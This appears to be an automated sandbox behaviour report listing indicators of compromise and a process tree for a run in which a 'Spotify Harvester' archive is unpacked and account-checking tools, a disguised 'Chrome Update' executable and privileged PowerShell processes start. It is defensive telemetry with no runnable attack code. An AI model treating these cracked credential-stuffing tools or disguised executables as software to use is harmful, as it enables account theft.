Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: 33 2608 Combo Editor by xRisky.exe Token: SeIncBasePriorityPrivilege 2608 Combo Editor by xRisky.exe Token: SeDebugPrivilege 4348 Google Chrome.exe Token: SeDebugPrivilege 2608 Combo Editor by xRisky.exe Token: 33 2608 Combo Editor by xRisky.exe Token: SeIncBasePriorityPrivilege 2608 Combo Editor by xRisky.exe Token: SeDebugPrivilege 924 SpotifyHarvester - Cracked by Trauma.exe Token: SeDebugPrivilege 4016 SpotifyHarvester - Cracked by Trauma.exe Token: SeDebugPrivilege 3196 SpotifyHarvester - Cracked by Trauma.exe Token: SeDebugPrivilege 3288 Chrome Update Services.exe Token: SeDebugPrivilege 1120 Google Chrome Update.exe Token: SeDebugPrivilege 1620 powershell.exe Token: SeDebugPrivilege 2248 powershell.exe Token: SeIncreaseQuotaPrivilege 1620 powershell.exe Token: SeSecurityPrivilege 1620 powershell.exe Token: SeTakeOwnershipPrivilege 1620 powershell.exe Token: SeLoadDriverPrivilege 1620 powershell.exe Token: SeSystemProfilePrivilege 1620 powershell.exe Token: SeSystemtimePrivilege 1620 powershell.exe Token: SeProfSingleProcessPrivilege 1620 powershell.exe Token: SeIncBasePriorityPrivilege 1620 powershell.exe Token: SeCreatePagefilePrivilege 1620 powershell.exe Token: SeBackupPrivilege 1620 powershell.exe Token: SeRestorePrivilege 1620 powershell.exe Token: SeShutdownPrivilege 1620 powershell.exe Token: SeDebugPrivilege 1620 powershell.exe Token: SeSystemEnvironmentPrivilege 1620 powershell.exe Token: SeRemoteShutdownPrivilege 1620 powershell.exe Token: SeUndockPrivilege 1620 powershell.exe Token: SeManageVolumePrivilege 1620 powershell.exe Token: 33 1620 powershell.exe Token: 34 1620 powershell.exe Token: 35 1620 powershell.exe Token: 36 1620 powershell.exe Token: SeIncreaseQuotaPrivilege 2248 powershell.exe Token: SeSecurityPrivilege 2248 powershell.exe Token: SeTakeOwnershipPrivilege 2248 powershell.exe Token: SeLoadDriverPrivilege 2248 powershell.exe Token: SeSystemProfilePrivilege 2248 powershell.exe Token: SeSystemtimePrivilege 2248 powershell.exe Token: SeProfSingleProcessPrivilege 2248 powershell.exe Token: SeIncBasePriorityPrivilege 2248 powershell.exe Token: SeCreatePagefilePrivilege 2248 powershell.exe Token: SeBackupPrivilege 2248 powershell.exe Token: SeRestorePrivilege 2248 powershell.exe Token: SeShutdownPrivilege 2248 powershell.exe Token: SeDebugPrivilege 2248 powershell.exe Token: SeSystemEnvironmentPrivilege 2248 powershell.exe Token: SeRemoteShutdownPrivilege 2248 powershell.exe Token: SeUndockPrivilege 2248 powershell.exe Token: SeManageVolumePrivilege 2248 powershell.exe Token: 33 2248 powershell.exe Token: 34 2248 powershell.exe Token: 35 2248 powershell.exe Token: 36 2248 powershell.exe Token: SeIncreaseQuotaPrivilege 1620 powershell.exe Token: SeSecurityPrivilege 1620 powershell.exe Token: SeTakeOwnershipPrivilege 1620 powershell.exe Token: SeLoadDriverPrivilege 1620 powershell.exe Token: SeSystemProfilePrivilege 1620 powershell.exe Token: SeSystemtimePrivilege 1620 powershell.exe Token: SeProfSingleProcessPrivilege 1620 powershell.exe Token: SeIncBasePriorityPrivilege 1620 powershell.exe Token: SeCreatePagefilePrivilege 1620 powershell.exe -
Suspicious use of FindShellTrayWindow 64 IoCs
pid Process 4788 iexplore.exe 4788 iexplore.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 3672 WinRAR.exe 3672 WinRAR.exe 3672 WinRAR.exe 3672 WinRAR.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe -
Suspicious use of SendNotifyMessage 64 IoCs
pid Process 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 4512 chrome.exe 2160 chrome.exe 2160 chrome.exe 2160 chrome.exe 2160 chrome.exe 2160 chrome.exe 2160 chrome.exe 2160 chrome.exe 2160 chrome.exe 2160 chrome.exe 2160 chrome.exe 2160 chrome.exe 2160 chrome.exe 2160 chrome.exe 2160 chrome.exe 2160 chrome.exe 2160 chrome.exe 2160 chrome.exe 2160 chrome.exe 2160 chrome.exe 2160 chrome.exe 2160 chrome.exe 2160 chrome.exe 2160 chrome.exe 2160 chrome.exe 2160 chrome.exe 2160 chrome.exe 2160 chrome.exe 2160 chrome.exe 2160 chrome.exe 2160 chrome.exe 2160 chrome.exe 2160 chrome.exe -
Suspicious use of SetWindowsHookEx 64 IoCs
pid Process 4788 iexplore.exe 4788 iexplore.exe 4812 IEXPLORE.EXE 4812 IEXPLORE.EXE 4812 IEXPLORE.EXE 4812 IEXPLORE.EXE 4788 iexplore.exe 4812 IEXPLORE.EXE 4812 IEXPLORE.EXE 3220 winrar-x64-611.exe 3220 winrar-x64-611.exe 3220 winrar-x64-611.exe 2472 uninstall.exe 3672 WinRAR.exe 3672 WinRAR.exe 2608 Combo Editor by xRisky.exe 2608 Combo Editor by xRisky.exe 2608 Combo Editor by xRisky.exe 232 SpotifyCheckerUltimate.exe 232 SpotifyCheckerUltimate.exe 232 SpotifyCheckerUltimate.exe 948 SpotifyCheckerUltimate.exe 948 SpotifyCheckerUltimate.exe 948 SpotifyCheckerUltimate.exe 2000 SpotifyCheckerUltimate.exe 2000 SpotifyCheckerUltimate.exe 2000 SpotifyCheckerUltimate.exe 2256 FastExecuteScript.exe 2256 FastExecuteScript.exe 2212 FastExecuteScript.exe 2212 FastExecuteScript.exe 2776 SpotifyCheckerUltimate.exe 2776 SpotifyCheckerUltimate.exe 2776 SpotifyCheckerUltimate.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe 4088 FastExecuteScript.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4788 wrote to memory of 4812 4788 iexplore.exe 81 PID 4788 wrote to memory of 4812 4788 iexplore.exe 81 PID 4788 wrote to memory of 4812 4788 iexplore.exe 81 PID 4788 wrote to memory of 3220 4788 iexplore.exe 101 PID 4788 wrote to memory of 3220 4788 iexplore.exe 101 PID 3220 wrote to memory of 2472 3220 winrar-x64-611.exe 103 PID 3220 wrote to memory of 2472 3220 winrar-x64-611.exe 103 PID 4512 wrote to memory of 4732 4512 chrome.exe 109 PID 4512 wrote to memory of 4732 4512 chrome.exe 109 PID 4512 wrote to memory of 2532 4512 chrome.exe 110 PID 4512 wrote to memory of 2532 4512 chrome.exe 110 PID 4512 wrote to memory of 2532 4512 chrome.exe 110 PID 4512 wrote to memory of 2532 4512 chrome.exe 110 PID 4512 wrote to memory of 2532 4512 chrome.exe 110 PID 4512 wrote to memory of 2532 4512 chrome.exe 110 PID 4512 wrote to memory of 2532 4512 chrome.exe 110 PID 4512 wrote to memory of 2532 4512 chrome.exe 110 PID 4512 wrote to memory of 2532 4512 chrome.exe 110 PID 4512 wrote to memory of 2532 4512 chrome.exe 110 PID 4512 wrote to memory of 2532 4512 chrome.exe 110 PID 4512 wrote to memory of 2532 4512 chrome.exe 110 PID 4512 wrote to memory of 2532 4512 chrome.exe 110 PID 4512 wrote to memory of 2532 4512 chrome.exe 110 PID 4512 wrote to memory of 2532 4512 chrome.exe 110 PID 4512 wrote to memory of 2532 4512 chrome.exe 110 PID 4512 wrote to memory of 2532 4512 chrome.exe 110 PID 4512 wrote to memory of 2532 4512 chrome.exe 110 PID 4512 wrote to memory of 2532 4512 chrome.exe 110 PID 4512 wrote to memory of 2532 4512 chrome.exe 110 PID 4512 wrote to memory of 2532 4512 chrome.exe 110 PID 4512 wrote to memory of 2532 4512 chrome.exe 110 PID 4512 wrote to memory of 2532 4512 chrome.exe 110 PID 4512 wrote to memory of 2532 4512 chrome.exe 110 PID 4512 wrote to memory of 2532 4512 chrome.exe 110 PID 4512 wrote to memory of 2532 4512 chrome.exe 110 PID 4512 wrote to memory of 2532 4512 chrome.exe 110 PID 4512 wrote to memory of 2532 4512 chrome.exe 110 PID 4512 wrote to memory of 2532 4512 chrome.exe 110 PID 4512 wrote to memory of 2532 4512 chrome.exe 110 PID 4512 wrote to memory of 2532 4512 chrome.exe 110 PID 4512 wrote to memory of 2532 4512 chrome.exe 110 PID 4512 wrote to memory of 2532 4512 chrome.exe 110 PID 4512 wrote to memory of 2532 4512 chrome.exe 110 PID 4512 wrote to memory of 2532 4512 chrome.exe 110 PID 4512 wrote to memory of 2532 4512 chrome.exe 110 PID 4512 wrote to memory of 2532 4512 chrome.exe 110 PID 4512 wrote to memory of 2532 4512 chrome.exe 110 PID 4512 wrote to memory of 2532 4512 chrome.exe 110 PID 4512 wrote to memory of 2532 4512 chrome.exe 110 PID 4512 wrote to memory of 2412 4512 chrome.exe 111 PID 4512 wrote to memory of 2412 4512 chrome.exe 111 PID 4512 wrote to memory of 4220 4512 chrome.exe 112 PID 4512 wrote to memory of 4220 4512 chrome.exe 112 PID 4512 wrote to memory of 4220 4512 chrome.exe 112 PID 4512 wrote to memory of 4220 4512 chrome.exe 112 PID 4512 wrote to memory of 4220 4512 chrome.exe 112 PID 4512 wrote to memory of 4220 4512 chrome.exe 112 PID 4512 wrote to memory of 4220 4512 chrome.exe 112 PID 4512 wrote to memory of 4220 4512 chrome.exe 112 PID 4512 wrote to memory of 4220 4512 chrome.exe 112 PID 4512 wrote to memory of 4220 4512 chrome.exe 112 PID 4512 wrote to memory of 4220 4512 chrome.exe 112 PID 4512 wrote to memory of 4220 4512 chrome.exe 112 PID 4512 wrote to memory of 4220 4512 chrome.exe 112
Processes
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" C:\Users\Admin\AppData\Local\Temp\43-accounts.html1⤵
- Modifies Internet Explorer Phishing Filter
- Modifies Internet Explorer settings
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4788 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4788 CREDAT:17410 /prefetch:22⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:4812
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\ZU0QPHDB\winrar-x64-611.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\ZU0QPHDB\winrar-x64-611.exe"2⤵
- Executes dropped EXE
- Checks computer location settings
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3220 -
C:\Program Files\WinRAR\uninstall.exe"C:\Program Files\WinRAR\uninstall.exe" /setup3⤵
- Modifies system executable filetype association
- Executes dropped EXE
- Registers COM server for autorun
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:2472
-
-
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵PID:4980
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4512 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffde8984f50,0x7ffde8984f60,0x7ffde8984f702⤵PID:4732
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1636,4649458805354751703,9026139666797194918,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1696 /prefetch:22⤵PID:2532
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1636,4649458805354751703,9026139666797194918,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1980 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
PID:2412
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1636,4649458805354751703,9026139666797194918,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2312 /prefetch:82⤵PID:4220
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,4649458805354751703,9026139666797194918,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3004 /prefetch:12⤵PID:3488
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,4649458805354751703,9026139666797194918,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3096 /prefetch:12⤵PID:1140
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,4649458805354751703,9026139666797194918,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3852 /prefetch:12⤵PID:4948
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,4649458805354751703,9026139666797194918,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4488 /prefetch:82⤵PID:4452
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,4649458805354751703,9026139666797194918,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4788 /prefetch:82⤵PID:3320
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,4649458805354751703,9026139666797194918,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4672 /prefetch:82⤵PID:1888
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1636,4649458805354751703,9026139666797194918,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4644 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
PID:2244
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1636,4649458805354751703,9026139666797194918,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5284 /prefetch:82⤵PID:1636
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1636,4649458805354751703,9026139666797194918,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4648 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
PID:2380
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,4649458805354751703,9026139666797194918,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4772 /prefetch:82⤵PID:2472
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1636,4649458805354751703,9026139666797194918,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5328 /prefetch:82⤵PID:2352
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,4649458805354751703,9026139666797194918,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4844 /prefetch:82⤵PID:2788
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,4649458805354751703,9026139666797194918,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5344 /prefetch:12⤵PID:3348
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,4649458805354751703,9026139666797194918,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4752 /prefetch:82⤵PID:3456
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,4649458805354751703,9026139666797194918,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5480 /prefetch:12⤵PID:4932
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,4649458805354751703,9026139666797194918,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5556 /prefetch:12⤵PID:4748
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1636,4649458805354751703,9026139666797194918,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3328 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
PID:4820
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,4649458805354751703,9026139666797194918,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3644 /prefetch:12⤵PID:644
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,4649458805354751703,9026139666797194918,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3972 /prefetch:12⤵PID:4752
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,4649458805354751703,9026139666797194918,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5900 /prefetch:12⤵PID:412
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,4649458805354751703,9026139666797194918,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6064 /prefetch:12⤵PID:3940
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,4649458805354751703,9026139666797194918,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4588 /prefetch:12⤵PID:4664
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,4649458805354751703,9026139666797194918,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=27 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5448 /prefetch:12⤵PID:4812
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.FileUtilService --field-trial-handle=1636,4649458805354751703,9026139666797194918,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4956 /prefetch:82⤵
- Drops file in Program Files directory
PID:5004
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,4649458805354751703,9026139666797194918,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=29 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6892 /prefetch:12⤵PID:2164
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1636,4649458805354751703,9026139666797194918,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6896 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
PID:948
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1636,4649458805354751703,9026139666797194918,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6628 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
PID:3520
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1636,4649458805354751703,9026139666797194918,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6776 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
PID:3480
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1636,4649458805354751703,9026139666797194918,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3964 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
PID:4508
-
-
C:\Program Files\WinRAR\WinRAR.exe"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\Admin\Downloads\Spotify Harvester.rar"2⤵
- Executes dropped EXE
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:3672
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1636,4649458805354751703,9026139666797194918,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1204 /prefetch:82⤵PID:536
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1636,4649458805354751703,9026139666797194918,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4916 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
PID:3748
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1636,4649458805354751703,9026139666797194918,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2096 /prefetch:82⤵PID:3768
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,4649458805354751703,9026139666797194918,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=37 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5368 /prefetch:12⤵PID:440
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,4649458805354751703,9026139666797194918,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=38 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3920 /prefetch:12⤵PID:1740
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1636,4649458805354751703,9026139666797194918,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1612 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
PID:1452
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1636,4649458805354751703,9026139666797194918,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6532 /prefetch:82⤵PID:3096
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1636,4649458805354751703,9026139666797194918,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=41 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2680 /prefetch:12⤵PID:4564
-
-
